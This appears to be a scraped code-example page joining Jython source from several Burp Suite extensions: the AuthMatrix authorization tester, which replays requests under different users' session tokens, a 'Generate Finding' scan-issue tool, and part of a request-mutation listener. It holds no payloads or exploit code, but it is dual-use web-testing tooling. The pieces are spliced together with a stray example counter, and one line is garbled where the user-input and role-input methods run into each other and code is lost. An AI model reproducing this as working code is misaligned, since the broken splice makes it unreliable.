        self._callbacks = callbacks
        # obtain an Burp extension helpers object
        self._helpers = callbacks.getHelpers()
        # set our extension name
        callbacks.setExtensionName("AuthMatrix - v0.5.2")

        # DB that holds everything users, roles, and messages
        self._db = MatrixDB()

        # For saving/loading config
        self._fc = JFileChooser()        

        # Used by ActionListeners
        selfExtender = self
        self._selectedColumn = -1
        self._selectedRow = -1


        # Table of User entries
        self._userTable = UserTable(self, model = UserTableModel(self._db))
        roleScrollPane = JScrollPane(self._userTable)
        self._userTable.redrawTable()

        # Table of Request (AKA Message) entries
        self._messageTable = MessageTable(self, model = MessageTableModel(self._db))
        messageScrollPane = JScrollPane(self._messageTable)
        self._messageTable.redrawTable()


        # Semi-Generic Popup stuff
        def addPopup(component, popup):
            class genericMouseListener(MouseAdapter):
                def mousePressed(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)
                def mouseReleased(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)
                def showMenu(self, e):
                    if type(component) is JTableHeader:
                        table = component.getTable()
                        column = component.columnAtPoint(e.getPoint())
                        if type(table) is MessageTable and column >= selfExtender._db.STATIC_MESSAGE_TABLE_COLUMN_COUNT or type(table) is UserTable and column >= selfExtender._db.STATIC_USER_TABLE_COLUMN_COUNT:
                            selfExtender._selectedColumn = column
                        else:
                            return
                    else:
                        selfExtender._selectedRow = component.rowAtPoint(e.getPoint())
                    popup.show(e.getComponent(), e.getX(), e.getY())
            component.addMouseListener(genericMouseListener())

        class actionRunMessage(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows():
                        indexes = [selfExtender._db.getMessageByRow(selfExtender._selectedRow)._index]
                    else:
                        indexes = [selfExtender._db.getMessageByRow(rowNum)._index for rowNum in selfExtender._messageTable.getSelectedRows()]
                    t = Thread(target=selfExtender.runMessagesThread, args = [indexes])
                    t.start()
                    selfExtender._selectedColumn = -1
                    # Redrawing the table happens in colorcode within the thread

        class actionRemoveMessage(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows():
                        indexes = [selfExtender._db.getMessageByRow(selfExtender._selectedRow)._index]
                    else:
                        indexes = [selfExtender._db.getMessageByRow(rowNum)._index for rowNum in selfExtender._messageTable.getSelectedRows()]
                    for i in indexes:
                        selfExtender._db.deleteMessage(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._messageTable.redrawTable()

        class actionRemoveUser(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._userTable.getSelectedRows():
                        indexes = [selfExtender._db.getUserByRow(selfExtender._selectedRow)._index]
                    else:
                        indexes = [selfExtender._db.getUserByRow(rowNum)._index for rowNum in selfExtender._userTable.getSelectedRows()]
                    for i in indexes:
                        selfExtender._db.deleteUser(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()

        # TODO combine these next two classes
        class actionRemoveRoleHeaderFromMessageTable(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(selfExtender._db.getRoleByMessageTableColumn(selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()

        class actionRemoveRoleHeaderFromUserTable(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(selfExtender._db.getRoleByUserTableColumn(selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()


        # Message Table popups
        messagePopup = JPopupMenu()
        addPopup(self._messageTable,messagePopup)
        messageRun = JMenuItem("Run Request(s)")
        messageRun.addActionListener(actionRunMessage())
        messagePopup.add(messageRun)
        messageRemove = JMenuItem("Remove Request(s)")
        messageRemove.addActionListener(actionRemoveMessage())
        messagePopup.add(messageRemove)

        messageHeaderPopup = JPopupMenu()
        addPopup(self._messageTable.getTableHeader(),messageHeaderPopup)
        roleRemoveFromMessageTable = JMenuItem("Remove Role")
        roleRemoveFromMessageTable.addActionListener(actionRemoveRoleHeaderFromMessageTable())
        messageHeaderPopup.add(roleRemoveFromMessageTable)

        # User Table popup
        userPopup = JPopupMenu()
        addPopup(self._userTable,userPopup)
        userRemove = JMenuItem("Remove Users(s)")
        userRemove.addActionListener(actionRemoveUser())
        userPopup.add(userRemove)

        userHeaderPopup = JPopupMenu()
        addPopup(self._userTable.getTableHeader(),userHeaderPopup)
        roleRemoveFromUserTable = JMenuItem("Remove Role")
        roleRemoveFromUserTable.addActionListener(actionRemoveRoleHeaderFromUserTable())
        userHeaderPopup.add(roleRemoveFromUserTable)

        # Top pane
        topPane = JSplitPane(JSplitPane.VERTICAL_SPLIT,roleScrollPane,messageScrollPane)

        # request tabs added to this tab on click in message table
        self._tabs = JTabbedPane()

        # Button pannel
        buttons = JPanel()
        runButton = JButton("Run", actionPerformed=self.runClick)
        newUserButton = JButton("New User", actionPerformed=self.getInputUserClick)
        newRoleButton = JButton("New Role", actionPerformed=self.getInputRoleClick)
        #debugButton = JButton("Debug", actionPerformed=self.printDB)
        saveButton = JButton("Save", actionPerformed=self.saveClick)
        loadButton = JButton("Load", actionPerformed=self.loadClick)
        clearButton = JButton("Clear", actionPerformed=self.clearClick)
        buttons.add(runButton)
        buttons.add(newUserButton)
        buttons.add(newRoleButton)
        #buttons.add(debugButton)
        buttons.add(saveButton)
        buttons.add(loadButton)
        buttons.add(clearButton)

        bottomPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, self._tabs, buttons)

        # Main Pane
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT, topPane, bottomPane)
        


        # customize our UI components
        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(topPane)
        callbacks.customizeUiComponent(bottomPane)
        callbacks.customizeUiComponent(messageScrollPane)
        callbacks.customizeUiComponent(roleScrollPane)
        callbacks.customizeUiComponent(self._messageTable)
        callbacks.customizeUiComponent(self._userTable)
        callbacks.customizeUiComponent(self._tabs)
        callbacks.customizeUiComponent(buttons)

        self._splitpane.setResizeWeight(0.5)
        topPane.setResizeWeight(0.3)
        bottomPane.setResizeWeight(0.95)


        # Handles checkbox color coding
        # Must be bellow the customizeUiComponent calls
        self._messageTable.setDefaultRenderer(Boolean, SuccessBooleanRenderer(self._db))


        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)        
        # register SendTo option
        callbacks.registerContextMenuFactory(self)

        return
        
    ##
    ## implement ITab
    ##
    
    def getTabCaption(self):
        return "AuthMatrix"
    
    def getUiComponent(self):
        return self._splitpane
       

    ##
    ## Creates the sendto tab in other areas of Burp
    ##

    def createMenuItems(self, invocation):

        def addRequestsToTab(e):
            for messageInfo in messages:
                # saveBuffers is required since modifying the original from its source changes the saved objects, its not a copy
                messageIndex = self._db.createNewMessage(self._callbacks.saveBuffersToTempFiles(messageInfo), 
                    self._helpers.analyzeRequest(messageInfo).getUrl())
                #self._messageTable.getModel().addRow(row)
            self._messageTable.redrawTable()

        ret = []
        messages = invocation.getSelectedMessages()

        # Check if the messages in the target tree have a response
        valid = True
        if invocation.getInvocationContext() == invocation.CONTEXT_TARGET_SITE_MAP_TREE:
            for selected in messages:
                if not selected.getResponse():
                    valid = False

        if valid:
            menuItem = JMenuItem("Send request(s) to AuthMatrix");
            menuItem.addActionListener(addRequestsToTab)
            ret.append(menuItem)
        return ret
    
    ##
    ## implement IMessageEditorController
    ## this allows our request/response viewers to obtain details about the messages being displayed
    ##

    def getHttpService(self):
        return self._currentlyDisplayedItem.getHttpService()

    def getRequest(self):
        return self._currentlyDisplayedItem.getRequest()

    def getResponse(self):
        return self._currentlyDisplayedItem.getResponse()

    ##
    ## Actions on Bottom Row Button Clicks
    ##

    def printDB(self, e):
        out = ""
        for a in self._db.arrayOfUsers:
            out += str(a._index)+" "+a._name+" : "+str(a._roles)+"\n"
        for b in self._db.arrayOfMessages:
            out += str(b._index)+" "+str(b._roles)+"\n"
        JOptionPane.showMessageDialog(self._splitpane,out)

    def getInputUserClick(self, e):
        newUser = JOptionPane.showInputDialog(self._splitpane,"Enter New User:"******"Enter New Role:")
        if not newRole is None:
            self._db.getOrCreateRole(newRole)
            self._userTable.redrawTable()
            self._messageTable.redrawTable()

    def saveClick(self, e):
        returnVal = self._fc.showSaveDialog(self._splitpane)
        if returnVal == JFileChooser.APPROVE_OPTION:
            f = self._fc.getSelectedFile()
            if f.exists():
                result = JOptionPane.showConfirmDialog(self._splitpane, "The file exists, overwrite?", "Existing File", JOptionPane.YES_NO_OPTION)
                if result != JOptionPane.YES_OPTION:
                    return
            fileName = f.getPath()
            outs = ObjectOutputStream(FileOutputStream(fileName))
            outs.writeObject(self._db.getSaveableObject())
            outs.close()

    def loadClick(self,e):
        returnVal = self._fc.showOpenDialog(self._splitpane)
        if returnVal == JFileChooser.APPROVE_OPTION:
            warning = """
            CAUTION: 

            Loading a saved configuration deserializes data. 
            This action may pose a security threat to the application.
            Only proceed when the source and contents of this file is trusted. 

            Load Selected File?
            """
            result = JOptionPane.showOptionDialog(self._splitpane, warning, "Caution", JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, None, ["OK", "Cancel"],"OK")
            if result != JOptionPane.YES_OPTION:
                return
            f = self._fc.getSelectedFile()
            fileName = f.getPath()
            
            ins = ObjectInputStream(FileInputStream(fileName))
            dbData=ins.readObject()
            ins.close()

            self._db.load(dbData,self)
            self._userTable.redrawTable()
            self._messageTable.redrawTable()

    def clearClick(self,e):
        result = JOptionPane.showConfirmDialog(self._splitpane, "Clear AuthMatrix Configuration?", "Clear Config", JOptionPane.YES_NO_OPTION)
        if result == JOptionPane.YES_OPTION:
            self._db.clear()
            self._tabs.removeAll()
            self._userTable.redrawTable()
            self._messageTable.redrawTable()

    def runClick(self,e):
        t = Thread(target=self.runMessagesThread)
        self._tabs.removeAll()
        t.start()

    def changeDomainPopup(self, oldDomain, index):
        hostField = JTextField(25)
        checkbox = JCheckBox()
        domainPanel = JPanel(GridLayout(0,1))
        domainPanel.add(JLabel("Request %s: Domain %s inaccessible. Enter new domain." % (str(index),oldDomain)))

        firstline = JPanel()
        firstline.add(JLabel("Host:"))
        firstline.add(hostField)
        domainPanel.add(firstline)
        secondline = JPanel()
        secondline.add(JLabel("Replace domain for all requests?"))
        secondline.add(checkbox)
        domainPanel.add(secondline)
        result = JOptionPane.showConfirmDialog(
            self._splitpane,domainPanel, "Domain Inaccessible", JOptionPane.OK_CANCEL_OPTION)
        cancelled = (result == JOptionPane.CANCEL_OPTION)
        if cancelled:
            return (False, None, False)
        return (True, hostField.getText(), checkbox.isSelected())

    ##
    ## Methods for running messages and analyzing results
    ##

    def runMessagesThread(self, messageIndexes=None):
        self._db.lock.acquire()
        try:
            indexes = messageIndexes
            if not indexes:
                indexes = self._db.getActiveMessageIndexes()
            self.clearColorResults(indexes)
            for index in indexes:
                self.runMessage(index)
                #self.colorCodeResults()
        except:
            traceback.print_exc(file=self._callbacks.getStderr())
        finally:
            self._db.lock.release()
            self.colorCodeResults()

    # Replaces headers/cookies with user's token
    def getNewHeader(self, requestInfo, userEntry):
        headers = requestInfo.getHeaders()
        if userEntry.isCookie():
            cookieHeader = "Cookie:"
            newheader = cookieHeader
            previousCookies = []
            # note: getHeaders has to be called again here cuz of java references
            for header in requestInfo.getHeaders():
                # Find and remove existing cookie header
                if str(header).startswith(cookieHeader):
                    previousCookies = str(header)[len(cookieHeader):].replace(" ","").split(";")
                    headers.remove(header)

            newCookies = userEntry._token.replace(" ","").split(";")
            newCookieVariableNames = []
            for newCookie in newCookies:
                # If its a valid cookie
                equalsToken = newCookie.find("=")
                if equalsToken >= 0:
                    newCookieVariableNames.append(newCookie[0:equalsToken+1])

            # Add all the old unchanged cookies
            for previousCookie in previousCookies:
                # If its a valid cookie
                equalsToken = previousCookie.find("=")
                if equalsToken >= 0:
                    if previousCookie[0:equalsToken+1] not in newCookieVariableNames:
                        newCookies.append(previousCookie)

            # Remove whitespace
            newCookies = [x for x in newCookies if x]
            newheader = cookieHeader+" "+";".join(newCookies)

        else:
            # TODO: Support multiple headers with a newline somehow
            newheader = userEntry._token
            # Remove previous HTTP Header
            colon = newheader.find(":")
            if colon >= 0:
                # getHeaders has to be called again here cuz of java references
                for header in requestInfo.getHeaders():
                    # If the header already exists, remove it
                    if str(header).startswith(newheader[0:colon+1]):
                        headers.remove(header)
        headers.add(newheader)
        return headers

    def runMessage(self, messageIndex):
        messageEntry = self._db.arrayOfMessages[messageIndex]
        # Clear Previous Results:
        messageEntry._roleResults = {}
        messageEntry._userRuns = {}

        messageInfo = messageEntry._requestResponse
        requestInfo = self._helpers.analyzeRequest(messageInfo)
        reqBody = messageInfo.getRequest()[requestInfo.getBodyOffset():]
        for userIndex in self._db.getActiveUserIndexes():
            userEntry = self._db.arrayOfUsers[userIndex]
            headers = self.getNewHeader(requestInfo, userEntry)

            # Add static CSRF token if available
            # TODO: Kinda hacky, but for now it will add the token as long as there is some content in the post body
            # Even if its a GET request.  This screws up when original requests have no body though... oh well...
            newBody = reqBody
            if userEntry._staticcsrf and len(reqBody):
                delimeter = userEntry._staticcsrf.find("=")
                if delimeter >= 0:
                    csrfname = userEntry._staticcsrf[0:delimeter]
                    csrfvalue = userEntry._staticcsrf[delimeter+1:]
                    params = requestInfo.getParameters()
                    for param in params:
                        if str(param.getName())==csrfname:
                            # Handle CSRF Tokens in Body
                            if param.getType() == 1:
                                newBody = reqBody[0:param.getValueStart()-requestInfo.getBodyOffset()] + StringUtil.toBytes(csrfvalue) + reqBody[param.getValueEnd()-requestInfo.getBodyOffset():]
                            # Handle CSRF Tokens in Cookies (for Cookie==Body mitigation technique):
                            if param.getType() == 2:
                                # TODO: required moving above portion to a function
                                # TODO: also need to think about when cookie name != postarg name
                                print "Cookie CSRF Tokens are not currently supported"
                    if newBody == reqBody:
                        newBody = reqBody+StringUtil.toBytes("&"+userEntry._staticcsrf)

            # Construct and send a message with the new headers
            message = self._helpers.buildHttpMessage(headers, newBody)
            requestResponse = self._callbacks.makeHttpRequest(messageInfo.getHttpService(),message)
            messageEntry.addRunByUserIndex(userIndex, self._callbacks.saveBuffersToTempFiles(requestResponse))

        # Grab all active roleIndexes that should succeed
        activeSuccessRoles = [index for index in messageEntry._roles.keys() if messageEntry._roles[index] and not self._db.arrayOfRoles[index].isDeleted()]
        # Check Role Results of message
        for roleIndex in self._db.getActiveRoleIndexes():
            success = self.checkResult(messageEntry, roleIndex, activeSuccessRoles)
            messageEntry.setRoleResultByRoleIndex(roleIndex, success)
                    
    def colorCodeResults(self):
        self._messageTable.redrawTable()

    def clearColorResults(self, messageIndexArray = None):
        if not messageIndexArray:
            messageIndexes = self._db.getActiveMessageIndexes()
        else:
            messageIndexes = messageIndexArray
        for messageIndex in messageIndexes:
            messageEntry = self._db.arrayOfMessages[messageIndex]
            messageEntry._roleResults = {}
            messageEntry._userRuns = {}
        self._messageTable.redrawTable()

    def checkResult(self, messageEntry, roleIndex, activeSuccessRoles):
        for userIndex in self._db.getActiveUserIndexes():
            userEntry = self._db.arrayOfUsers[userIndex]

            ignoreUser = False
            # if user is not in this role, ignore it
            if not userEntry._roles[roleIndex]:
                ignoreUser = True
            # If user is in any other role that should succeed, then ignore it
            for index in userEntry._roles.keys():
                if not index == roleIndex and userEntry._roles[index] and index in activeSuccessRoles:
                    ignoreUser = True

            if not ignoreUser:
                shouldSucceed = roleIndex in activeSuccessRoles
                requestResponse = messageEntry._userRuns[userEntry._index]
                resp = StringUtil.fromBytes(requestResponse.getResponse())
                found = re.search(messageEntry._successRegex, resp, re.DOTALL)
                succeeds = found if shouldSucceed else not found
                if not succeeds:
                    return False
        return True
예제 #20
0
class BurpExtender(IBurpExtender, IContextMenuFactory, ActionListener, IMessageEditorController, ITab, ITextEditor, IHttpService, IScanIssue, IHttpRequestResponseWithMarkers):

    def __init__(self):
        self.menuItem = JMenuItem('Generate Finding')
        self.menuItem.addActionListener(self)   

    # implement IBurpExtender
    def registerExtenderCallbacks(self, callbacks):
    
        # keep a reference to our callbacks object (Burp Extensibility Feature)
        self._callbacks = callbacks   
        self._helpers = callbacks.getHelpers()

        # set our extension name
        callbacks.setExtensionName("Generate Finding")
        callbacks.registerContextMenuFactory(self)

        # -- Request Response Viewers -- #

        # create the lower half for the Request Response tabs...
        # Request and response from selection
        self._tabbedPane = JTabbedPane()
        tabs = self._tabbedPane
        self._requestViewer = callbacks.createMessageEditor(self, True)
        self._responseViewer = callbacks.createMessageEditor(self, True)
        self._requestHighlight = callbacks.createTextEditor()
        self._responseHighlight = callbacks.createTextEditor()
        tabs.addTab("Supporting Request", self._requestViewer.getComponent())
        tabs.addTab("Supporting Response", self._responseViewer.getComponent())
        tabs.addTab("Request Marker Selection", self._requestHighlight.getComponent())
        tabs.addTab("Response Marker Selection", self._responseHighlight.getComponent())
        #self._mainFrame.setRightComponent(tabs) # set to the lower split pane
        print "*" * 60
        print "[+] Request/Response tabs created"
    

        # -- Define Issue Details GUI & Layout-- #

        # Labels and Input boxes...
        # Issue Name
        self.issueNameLabel = JLabel(" Issue Name:")
        self.issueNameValue = JTextArea(text = str(issueNamePlaceholder), 
                         editable = True,
                         wrapStyleWord = True,
                         lineWrap = True,
                         alignmentX = Component.LEFT_ALIGNMENT,
                         size = (1, 20)
                         )

        # Issue Detail
        self.issueDetailLabel = JLabel(" Issue Detail:")

        #self.issueDetailValue = JTextField(str(issueDetailPlaceholder), 15)
        self.issueDetailValue = JTextArea(text = str(issueDetailPlaceholder), 
                         editable = True,
                         wrapStyleWord = True,
                         lineWrap = True,
                         alignmentX = Component.LEFT_ALIGNMENT,
                         size = (100, 20)
                         )

        # IssueBackground
        self.issueBackgroundLabel = JLabel(" Issue Background:")
        self.issueBackgroundValue = JTextArea(text = str(issueBackgroundPlaceholder), 
                         editable = True,
                         wrapStyleWord = True,
                         lineWrap = True,
                         alignmentX = Component.LEFT_ALIGNMENT,
                         size = (100, 20)
                         )

        # Remediation Detail
        self.issueRemediationLabel = JLabel(" Remediation Detail:")
        self.issueRemediationValue = JTextArea(text = str(remediationDetailPlaceholder), 
                         editable = True,
                         wrapStyleWord = True,
                         lineWrap = True,
                         alignmentX = Component.LEFT_ALIGNMENT,
                         size = (100, 20)
                         )
 
         # Remediation Background
        self.issueRemBackgroundLabel = JLabel(" Remediation Background:")
        self.issueRemBackgroundValue = JTextArea(text = str(remediationBackgroundPlaceholder), 
                         editable = True,
                         wrapStyleWord = True,
                         lineWrap = True,
                         alignmentX = Component.LEFT_ALIGNMENT,
                         size = (100, 20)
                         )  

        # Issue URL
        self.issueURLLabel = JLabel(" URL (path = http://domain/path):")
        self.issueURLValue = JTextArea(text = str(issueURLPlaceholder), 
                         editable = True,
                         wrapStyleWord = True,
                         lineWrap = True,
                         alignmentX = Component.LEFT_ALIGNMENT,
                         size = (1, 20)
                         )                       

        # Issue Port
        self.issuePortLabel = JLabel(" Port:")
        self.issuePortValue = JTextArea(text = str(issuePortPlaceholder), 
                         editable = True,
                         wrapStyleWord = True,
                         lineWrap = True,
                         alignmentX = Component.LEFT_ALIGNMENT,
                         size = (1, 20)
                         )

        # Confidence
        self.confidenceValuesList = ("Certain","Firm","Tentative")
        self.issueConfienceLabel = JLabel(" Confidence [Certain, Firm or Tentative]")
        self.issueConfidenceValue = JComboBox(self.confidenceValuesList)

        # Severity
        self.severityValuesList = ("High","Medium","Low","Information")
        self.issueSeverityLabel = JLabel(" Severity [High, Medium Low or Informational]")
        self.issueSeverityValue = JComboBox(self.severityValuesList)

        # Add Finding button

        self.addFindingButton = JButton("Generate Finding", actionPerformed=self.createScanIssue, alignmentX=Component.CENTER_ALIGNMENT) 


        # -- Group items for display -- #         

        # Group items 
        self.grpIssueSummary = JPanel(GridLayout(0,1))
        self.grpIssueSummary.add(self.issueNameLabel)
        self.grpIssueSummary.add(self.issueNameValue)
        self.grpIssueSummary.add(self.issueDetailLabel)
        self.grpIssueSummary.add(self.issueDetailValue)
        self.grpIssueSummary.add(self.issueBackgroundLabel)
        self.grpIssueSummary.add(self.issueBackgroundValue)
        self.grpIssueSummary.add(self.issueRemediationLabel)
        self.grpIssueSummary.add(self.issueRemediationValue)
        self.grpIssueSummary.add(self.issueRemBackgroundLabel)
        self.grpIssueSummary.add(self.issueRemBackgroundValue)
        self.grpIssueSummary.add(self.issueURLLabel)
        self.grpIssueSummary.add(self.issueURLValue)
        self.grpIssueSummary.add(self.issuePortLabel)
        self.grpIssueSummary.add(self.issuePortValue)
        self.grpIssueSummary.add(self.issueURLLabel)
        self.grpIssueSummary.add(self.issueURLValue)
        self.grpIssueSummary.add(self.issuePortLabel)
        self.grpIssueSummary.add(self.issuePortValue)

        self.grpRatingBoxes = JPanel()
        self.grpRatingBoxes.add(self.issueSeverityLabel)
        self.grpRatingBoxes.add(self.issueSeverityValue)
        self.grpRatingBoxes.add(self.issueConfienceLabel)
        self.grpRatingBoxes.add(self.issueConfidenceValue)
        self.grpRatingBoxes.add(self.addFindingButton)


        # add grps to details frame
        self._detailsPanel = JPanel(GridLayout(0,1))
        self._detailsPanel.add(self.grpIssueSummary)
        self._detailsPanel.add(self.grpRatingBoxes)


        self._findingDetailsPane = JScrollPane(self._detailsPanel)
        # create the main frame to hold details
        self._detailsViewer = self._findingDetailsPane # creates a form for details
        #tabs.addTab("Finding Details", self._detailsViewer)

        self._mainFrame = JSplitPane(JSplitPane.VERTICAL_SPLIT, self._detailsViewer, tabs)
        self._mainFrame.setOneTouchExpandable(True);
        self._mainFrame.setDividerLocation(0.5)
        self._mainFrame.setResizeWeight(0.50)

        print "[+] Finding details panel created"
        print "[+] Rendering..."

        # customize our UI components
        callbacks.customizeUiComponent(self._mainFrame)
        callbacks.customizeUiComponent(self._tabbedPane)
        callbacks.customizeUiComponent(self._detailsPanel)
        callbacks.customizeUiComponent(tabs)
        
        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)
        print "[+] Done"
        print "[!] Added suite tab initialize complete!"

        return



    def getTabCaption(self):
        return "Generate Finding" 



    def getUiComponent(self):
        return self._mainFrame



    # initiaizes when button is clicked in 'Generate Finding Tab'
    def createScanIssue(self, event):

        print "[!] Finding Detail: "

        print "\t[+] Name:\n\t\t", self.issueNameValue.getText().strip()
        name = self.issueNameValue.getText()
        print "\t[+] Description:\n\t\t", self.issueDetailValue.getText().strip()
        description = self.issueDetailValue.getText()
        print "\t[+] Background:\n\t\t", self.issueBackgroundValue.getText().strip()
        background = self.issueBackgroundValue.getText()
        print "\t[+] Remediation:\n\t\t", self.issueRemediationValue.getText().strip()
        remediation = self.issueRemediationValue.getText()
        print "\t[+] Remediation Background:\n\t\t", self.issueRemBackgroundValue.getText().strip()
        remBackground = self.issueRemBackgroundValue.getText()
        print "\t[+] URL Detail:\n\t\t", self.issueURLValue.getText()
        urlDetail = self.issueURLValue.getText()
        print "\t[+] Port Number:\n\t\t", self.issuePortValue.getText()
        portNumber = self.issuePortValue.getText()
        print "\t[+] Confidence Rating:\n\t\t", self.issueConfidenceValue.getSelectedItem()
        confidenceRating = self.issueConfidenceValue.getSelectedItem()
        print "\t[+] Severity Rating:\n\t\t", self.issueSeverityValue.getSelectedItem()
        severityRating = self.issueSeverityValue.getSelectedItem()
        #print "\t[+] Payload Markers:\n\t\t", self.getSelectionBounds()

        # get highlighted data from request/response tabs in 'Generate Finding'
        #print "[!] Request Selected data:", self._requestViewer.getSelectedData()
        #highRequest = self._requestViewer.getSelectedData()
        #print "converted:", self._helpers.bytesToString(highRequest) 
        #print "[!] Response Selected data:", self._responseViewer.getSelectedData()
        #highResponse = self._responseViewer.getSelectedData()
        #print "converted:", self._helpers.bytesToString(highResponse) 

        # current message is used - should work as long as menu item 'Generate Finding' is not reset or used before finding has been generated.
        requestResponse = self.current_message

        print "\t[+] RequestResponse:\n\t\t", requestResponse
        print "\t[+] Service:\n\t\t", requestResponse.getHttpService()        


        # Collect request and Response Markers...
        #print "[**] Request Bounds: ", self._requestHighlight.getSelectionBounds() 
        requestBounds = self._requestHighlight.getSelectionBounds()
        #print "[**] Response Bounds: ", self._responseHighlight.getSelectionBounds() 
        responseBounds = self._responseHighlight.getSelectionBounds()

        # applyMarkers to request/response
        # callbacks.applyMarkers(requestResponse, None, [array('i', (data[1], data[2]))])
        self.reqMarkers = [requestBounds[0],requestBounds[1]]
        print "\t[+] Request Reporting Markers:\n\t\t", self.reqMarkers
        self.resMarkers = [responseBounds[0],responseBounds[1]]
        print "\t[+] Response Reporting Markers:\n\t\t", self.resMarkers

        print "*" * 60
        print "[!] Attempting to create custom scan issue."
        # Call AddScanItem class to create scan issue!!
        finding_array = [urlDetail, name, 134217728, severityRating, confidenceRating, background, remBackground, description, remediation, requestResponse]

        issue = ScanIssue(self, finding_array, self.current_message, self.reqMarkers, self.resMarkers, self._helpers, self._callbacks)
        self._callbacks.addScanIssue(issue)

        # Done
        print "[+] Finding Generated!"


    def getRequestResponseText(self):

        messages = self.ctxMenuInvocation.getSelectedMessages()

        # parses currently selected finding to a string
        if len(messages) == 1 :

            for self.m in messages:

                requestResponse = self.m
                # add requestResponseWithMarkers to be global so can be included in scanIssue
                self.current_message = requestResponse

                # get request data and convert to string
                requestDetail = requestResponse.getRequest()  
                try: 
                    requestData = self._helpers.bytesToString(requestDetail) # converts & Prints out the entire request as string     
                except:
                    requestData = '[-] No Request Detail in this RequestResponse'
                    pass
                # get response data and convert to string
                responseDetail = requestResponse.getResponse()
                try:
                    responseData = self._helpers.bytesToString(responseDetail) # converts & Prints out the entire request as string 
                except:
                    responseData = '[-] No Response Detail in this RequestResponse' 
                    pass 
                requestData = self._helpers.bytesToString(requestDetail) # converts & Prints out the entire request as string     


            # send request string to 'Supporting Request' tab - 'True' because it is a request!
            self._requestViewer.setMessage(requestData, True)
            # for higlighting markers..
            self._requestHighlight.setText(requestData)

            # send response string to 'Supporting Response' tab
            self._responseViewer.setMessage(responseData, False) # set False as is a response not request... 
            # for higlighting markers..
            self._responseHighlight.setText(responseData)
           


    def getFindingDetails(self):

            messages = self.ctxMenuInvocation.getSelectedMessages()

            print "*" * 60
            print "[+] Handling selected request: ", self.current_message

            if len(messages) == 1:
                for m in messages:           

                    # URL
                    #print "[!] Selected Request's URL: \n", self._helpers.analyzeRequest(m).getUrl()
                    self.issueURLValue.setText(str(self._helpers.analyzeRequest(m).getUrl())) # update finding info

                    # Protocol
                    #print "[!] Request's Protocol: \n", m.getProtocol()

                    # Request Port
                    #print "[!] Request's Port: \n", m.getPort()
                    self.issuePortValue.setText(str(m.getPort())) # update finding info
                    print "*" * 60


# API hook...

    def getHttpMessages(self):

        return [self.m]


# Actions on menu click...

    def actionPerformed(self, actionEvent):
        print "*" * 60
        print "[+] Request sent to 'Generate Finding'"
        try:
            # When clicked!! 
            self.getRequestResponseText()
            self.getFindingDetails()
        except:
            tb = traceback.format_exc()
            print tb


# create Menu

    def createMenuItems(self, ctxMenuInvocation):
        self.ctxMenuInvocation = ctxMenuInvocation
        return [self.menuItem]
class Plugin(IHttpListener):

    MUTATE_ID_COLUMN_INDEX = 4
    ORIG_ID_COLUMN_INDEX = 5

    def __init__(self, callbacks):
        self.callbacks = callbacks
        self.helpers = self.callbacks.getHelpers()

        self.origMessageEditorController = MessageEditorController()
        self.mutatedMessageEditorController = MessageEditorController()

        self.origSearchString = replacements.origSearchString
        self.replacements = replacements.replacements

        self.requestResponseCache = {}

    def start(self):

        self.frame = JDialog()
        #self.frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE)
        self.frame.setLocation(0, 1500)
        self.frame.setSize(1000, 200)

        self.tableDataModel = DefaultTableModel([], [
            "URL", "Code", "Content-Length", "Location", "Mutated Id",
            "Orig Id"
        ])
        self.jtable = JTable(self.tableDataModel)

        scrollPane = JScrollPane(self.jtable)
        self.jtable.setFillsViewportHeight(True)

        messageEditorOrig = self.callbacks.createMessageEditor(None, False)
        messageEditorModified = self.callbacks.createMessageEditor(
            None, False)
        self.editorSplitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT,
                                          messageEditorOrig.getComponent(),
                                          messageEditorModified.getComponent())
        self.editorSplitPane.setResizeWeight(0.5)

        splitPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, scrollPane,
                               self.editorSplitPane)
        splitPane.setResizeWeight(0.5)

        class TableSelector(ListSelectionListener):
            def __init__(self, plugin):
                self.plugin = plugin

            def valueChanged(self, event):
                if not event.getValueIsAdjusting():
                    selectedRowIndex = self.plugin.jtable.getSelectedRows()[0]

                    self.plugin._rowSelected(selectedRowIndex)

        self.jtable.getSelectionModel().addListSelectionListener(
            TableSelector(self))

        self.frame.add(splitPane)
        self.frame.setVisible(True)

        self.callbacks.registerHttpListener(self)
        self.callbacks.setExtensionName("Custom Plugin")
        return

    def stop(self):

        print("Closing!")
        self.callbacks.removeHttpListener(self)
        self.frame.dispose()
        self.jrame = None
        return

    def _rowSelected(self, index):

        #self.splitPane.setLeftComponent(
        #self.callbacks.createMessageEditor(
        origId = self.tableDataModel.getValueAt(
            index, self.ORIG_ID_COLUMN_INDEX).encode('ascii', 'ignore')
        mutateId = self.tableDataModel.getValueAt(
            index, self.MUTATE_ID_COLUMN_INDEX).encode('ascii', 'ignore')

        self.origMessageEditorController.setRequestResponse(
            self.requestResponseCache[origId])
        messageEditorOrig = self.callbacks.createMessageEditor(
            self.origMessageEditorController, False)
        messageEditorOrig.setMessage(
            self.requestResponseCache[origId].getResponse(), False)
